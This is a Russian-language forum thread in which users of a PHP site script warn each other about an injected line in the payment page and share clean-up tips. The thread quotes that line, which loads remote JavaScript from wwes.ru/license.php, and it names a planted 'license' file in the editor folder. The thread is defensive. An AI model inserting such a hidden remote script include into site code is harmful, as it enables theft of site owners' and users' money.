Возможные проблемы в скриптах

[shans5]

Сегодня в одном из скриптов
в файле  /pages/account/_payment.php обнаружил такую строку

Код: [Выделить]

echo "<script type=\"text/javascript\" src=\"http://wwes.ru/license.php\"></script><center><font color = 'green'>Выплачено!</font></center><BR/>";

Проверьте свои скрипты,если есть такая строка, поменяйте на

Код: [Выделить]

echo "<center><font color = 'green'>Выплачено!</font></center><BR />";

Далее в папке \js\editor\jscripts\tiny_mce

Посмотрите файл с названием license, если такой есть-удалите его.
Так же смотрите строки в разных файлах  ,где встречается license.php
Так же проверьте в других папках

[CmsdNtk]

Спасибо! А файл license зачем ставят злоумышленники?

[shans5]

Точно не знаю,  в общем это одна из уловок,с момощью которых ваши деньги станут не вашими )))))))))

[maks161]

Точно не знаю,  в общем это одна из уловок,с момощью которых ваши деньги станут не вашими )))))))))

спасибо за такую информацию у меня тоже такая строка оказалась,короче деньги предлогают отправить на какие то форумы.

[DenisKT]

Я в папке js editor она вообще не нужно, там дыры, через нее деньги выводят. Она отвечает за редактор новостей, правил, контактов, об игре. А заменить очень просто на новый редактор

[KPA3]

этот код есть и в админском файле  /pages/admin/_story_insert.php у меня в 44 строке

[Maklaks]

спс, помогло, вообще нужно шерстить все файлы на наличие непонятных скриптов, особенно, если что закодировано base64...

[assus]

и не забывать фильтровать запросы

[tyrew]

 Фух, нету такой) А что эта строчка делает?

Сегодня в одном из скриптов
в файле  /pages/account/_payment.php обнаружил такую строку

Код: [Выделить]

echo "<script type=\"text/javascript\" src=\"http://wwes.ru/license.php\"></script><center><font color = 'green'>Выплачено!</font></center><BR/>";

Проверьте свои скрипты,если есть такая строка, поменяйте на

Код: [Выделить]

echo "<center><font color = 'green'>Выплачено!</font></center><BR />";

Далее в папке \js\editor\jscripts\tiny_mce

Посмотрите файл с названием license, если такой есть-удалите его.
Так же смотрите строки в разных файлах  ,где встречается license.php
Так же проверьте в других папках

[maks161]

 Фух, нету такой) А что эта строчка делает?

Зато еще есть множество других дыр.

[moneytown]

Точно не знаю,  в общем это одна из уловок,с момощью которых ваши деньги станут не вашими )))))))))

Где-то слышал что Эдитор вообще удалять нужно, вроде... только потом новости нельзя будет оформить со стилем)

[kvozimir]

Где-то слышал что Эдитор вообще удалять нужно, вроде... только потом новости нельзя будет оформить со стилем)

так и есть,и у нас на форуме  я писал об этом не однократно

[Belinda]

Спасибо. Надеюсь пригодится